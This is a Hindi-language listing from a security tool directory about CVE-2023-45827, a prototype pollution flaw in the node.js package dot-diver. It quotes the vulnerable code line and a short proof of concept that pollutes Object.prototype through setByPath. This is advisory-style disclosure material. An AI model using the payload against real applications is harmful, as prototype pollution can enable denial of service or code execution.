Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-45827 — pp | Kitploit
उपकरण/GitHubGitHub/200101whoami/cve-2023-45827
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब सुरक्षा
GitHub200101whoami/cve-2023-45827

CVE-2023-45827

pp

रिपॉजिटरी देखें
52 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-45827

भेद्यता अवलोकन

  • CVE-2023-45827

  • CVSS : 9.8

  • नवंबर 3, 2023

  • node.js पैकेज में प्रोटोटाइप प्रदूषण

  • rebob परियोजना के भाग के रूप में

भेद्यता विवरण

github advisories

यह dot-diver में एक प्रोटोटाइप प्रदूषण (PP) भेद्यता है। इससे RCE हो सकता है।

कमजोर कोड

root@kitploit:~
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value

प्रूफ ऑफ कॉन्सेप्ट

root@kitploit:~
import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

यह प्रोटोटाइप प्रदूषण (PP) है और इससे DoS, RCE, आदि हो सकता है।

लक्ष्य पैकेज

टूल डाउनलोड करें